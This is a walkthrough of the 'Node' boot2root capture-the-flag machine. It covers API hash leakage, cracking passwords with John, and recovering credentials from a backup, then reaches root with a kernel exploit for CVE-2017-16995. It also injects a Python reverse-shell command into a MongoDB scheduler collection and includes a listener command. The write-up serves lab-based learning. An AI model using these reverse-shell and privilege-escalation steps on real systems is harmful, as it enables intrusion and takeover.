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Node 1

Node is a medium level boot2root challenge, originally created for HackTheBox.

Node is a medium level boot2root challenge. There are two flags to find (user and root flags) and requried you to use multiple technologies to exploit.

#1 - What is the user flag?

Hint: passwd of the user


Nmap discovers 2 open ports:

22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Sources analysis

After spending some time searching for hidden files/directories, trying SQL injection in the login form, trying to brute force the accounts, I eventually browsed the application trough BurpSuite and analyzed the requests (I should have probably started here).

Notice that there are several javascript files included in the main page:

$ curl -s | tail
    <script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>
    <script type="text/javascript" src="vendor/angular/angular.min.js"></script>
    <script type="text/javascript" src="vendor/angular/angular-route.min.js"></script>
    <script type="text/javascript" src="assets/js/app/app.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
    <script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>

On of them is particularly interesting because he’s responsible for displaying the last users (tom, mark, rastating) on the home page:

$ curl -s
var controllers = angular.module('controllers');

controllers.controller('HomeCtrl', function ($scope, $http) {
  $http.get('/api/users/latest').then(function (res) {
    $scope.users =;

Making the request ourselves reveals that the results are showing all fields, including the id, username, password hash and an admin flag:

$ curl -s

What happens if we do the same request without the trailing /latest at the end of the request? We get the full list of users, instead of just the latest:

$ curl -s

Cracking the passwords

Either search for the hashes on the Internet, or crack them with John:

$ /data/src/john/run/john hashes.txt --wordlist=/data/src/wordlists/rockyou.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob        (?)
manchester       (?)
snowflake        (?)
3g 0:00:00:01 DONE (2020-06-25 09:29) 2.343g/s 11205Kp/s 11205Kc/s 11512KC/s -sevil2605-..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed. 

Eventually, you should be able to retrieve all of them but 1:

id username password hash is_admin Cracked password
59a7365b98aa325cc03ee51c myP14ceAdm1nAcc0uNT dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af true manchester
59a7368398aa325cc03ee51d tom f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 false spongebob
59a7368e98aa325cc03ee51e mark de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 false snowflake
59aa9781cced6f1d1490fce9 rastating 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 false ???

Trying to connect as non-admin users (is_admin set to false) leads nowhere, but the admin account (myP14ceAdm1nAcc0uNT) reveals a backup file:


The file is a a base64 encoded string, and zip-protected archive:

$ cat myplace.backup | base64 -d >
$ unzip 
   creating: var/www/myplace/
[] var/www/myplace/package-lock.json password: 

Let’s use John once again to crack the zip archive’s password:

$ /data/src/john/run/zip2john > backup.hash
$ /data/src/john/run/john backup.hash --wordlist=/data/src/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword        (
1g 0:00:00:00 DONE (2020-06-25 10:13) 16.66g/s 3276Kp/s 3276Kc/s 3276KC/s sandrad..pigglett
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

The uncompressed archive reveals many file, but the app.js script at the root of var/www/myplace/ reveals mark’s credentials in clear text:

$ head -n 12 var/www/myplace/app.js 

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:[email protected]:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

User password: 5AYRft73VtFpc84k

You can now connect to SSH as mark with the password 5AYRft73VtFpc84k.

#2 - What is the root flag?

The easy way

The machine is running Ubuntu 16.04.3 with a an old kernel (4.4.0-93):

[email protected]:/tmp$ cat /etc/issue
Ubuntu 16.04.3 LTS \n \l
[email protected]:/tmp$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Find an exploit:

$ searchsploit ubuntu 16.04 privilege escalation

------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation                       | linux/local/40054.c
LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation           | linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / Ce | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso | linux_x86/local/42276.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit)     | linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privile | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Pr | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Con | linux/local/47170.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege E | linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Local Privilege Escalat | linux/local/40489.txt
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation       | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation              | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privil | linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalat | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Loc | linux/local/47169.c
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

After trying several exploits, I successfully rooted the machine with 45010.c which exploits CVE-2017-16995.

[email protected]:/tmp$ gcc 45010.c -o exploit
[email protected]:/tmp$ ./exploit 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff8800356ce500
[*] Leaking sock struct from ffff88003aa10800
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880036e060c0
[*] UID from cred structure: 1001, matches the current: 1001
[*] hammering cred structure at ffff880036e060c0
[*] credentials patched, launching shell...
# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
# cat /root/root.txt

The hard way (still incomplete)

We can see several users under the /home directory (frank, mark, tom). A user.txt file appears in tom’s home directory, but we can’t read it:

[email protected]:~$ ls -l /home/tom/
total 4
-rw-r----- 1 root tom 33 Sep  3  2017 user.txt

MongoDB: Lateral move (mark->tom)

Using pspy, I was able to identify an interesting scheduled job (/var/scheduler/app.js) started by nodejs.

$ ./pspy64 


2020/06/25 12:04:40 CMD: UID=1000 PID=1142   | /usr/bin/node /var/www/myplace/app.js 
2020/06/25 12:04:40 CMD: UID=0    PID=1140   | /usr/sbin/sshd -D 
2020/06/25 12:04:40 CMD: UID=65534 PID=1134   | /usr/bin/mongod --auth --quiet --config /etc/mongod.conf 
2020/06/25 12:04:40 CMD: UID=1000 PID=1131   | /usr/bin/node /var/scheduler/app.js


This script is executed by tom, which would allow us to move to tom (lateral move) if we can exploit it.

Having a look at the script reveals mark’s credentials in clear, to connect to MongoDB. We also confirm that the job is scheduled to run every 30,000 milliseconds (i.e. 30 seconds).

$ cat /var/scheduler/app.js 
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:[email protected]:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
      else if (error) {
        console.log('Something went wrong: ' + error);
  }, 30000);


The script reveals the structure:

  • connection string: mongodb://mark:[email protected]:27017/scheduler
  • collection: tasks (db.collection('tasks').find())
  • field: cmd (exec(doc.cmd))

Let’s connect and insert an entry that will execute a reverse shell (make sure you open a listener on your machine: rlwrap nc -nlvp 4444).

$ mongo "mongodb://mark:[email protected]:27017/scheduler"
MongoDB shell version: 3.2.16
connecting to: mongodb://mark:[email protected]:27017/scheduler
> db.collections
> db
> show collections
> db.tasks.insert({"cmd":"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'"})

In less than 30 seconds, we have a reverse shell, and we are connected as tom. Let’s get the flag (notice that this flag was not needed for this challenge though, as we were requested to provide mark’s password instead).

$ rlwrap nc -nlvp 4444

[email protected]:/$ whoami
[email protected]:~$ cat /home/tom/user.txt

User flag: e1156acc3574e04b06908ecf76be91b1

Reverse engineering

This part is still incomplete and open for discussion.

Searching for files owned by root with the SUID bit set reveals an interesting program:

[email protected]:/tmp$ find / -type f -user root -perm -u=s 2>/dev/null          
find / -type f -user root -perm -u=s 2>/dev/null
/usr/local/bin/backup   <----------------------- Interesting!

The file is owned by root, and members of the group admin (which we are) may execute the program.

[email protected]:/tmp$ ls -l /usr/local/bin/backup
ls -l /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep  3  2017 /usr/local/bin/backup
[email protected]:/tmp$ file /usr/local/bin/backup
file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped

I gathered the file on my workstation and started to analyze it in IDA Pro and gdb. After 1 hour, I was able to understand the program’s logic, and use it.

  • The program starts by checking the number of arguments (3 args required):
  • It also checks that the 1st arg is -q


  • It makes sure there is a /etc/myplace/keys


$ cat /etc/myplace/keys

[email protected]:/tmp$ 
  • then it checks that the value given to the -q arg is a valid key (one of the keys from the key file):


  • Then, there is a complete serie of tests to make sure that the last argument (an expected file path) does not contain some characters (to avoid injection): .., /root, ;, ", $, … If one of the test fails, the program will replace the file with a junk content.


  • The file is then zip with the password magicword and later encoded in base64.


Exploiting the binary

With all the information collected above, I was able to successfully run the following test (normal conditions):

Create a test file and run the program with the expected args.

[email protected]:/tmp$ echo "this is a test" > test.txt
[email protected]:/tmp$ /usr/local/bin/backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp/test.txt

It results in a base64 encoded string that I’m able to decode, and unzip the archive:

[email protected]:/tmp$ unzip
[] tmp/test.txt password: magicword

 extracting: tmp/test.txt            
[email protected]:/tmp$ cat /tmp/tmp/test.txt
this is a test

This is where I stopped, and don’t know how to inject content to bypass the blacklisted strings.

However, I’ve been able to complete the challenge, exploiting CVE-2017-16995. Super interesting challenge!


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Keywords: ctf tryhackme mongdb john CVE-2017-16995 reversing binary exploitation injection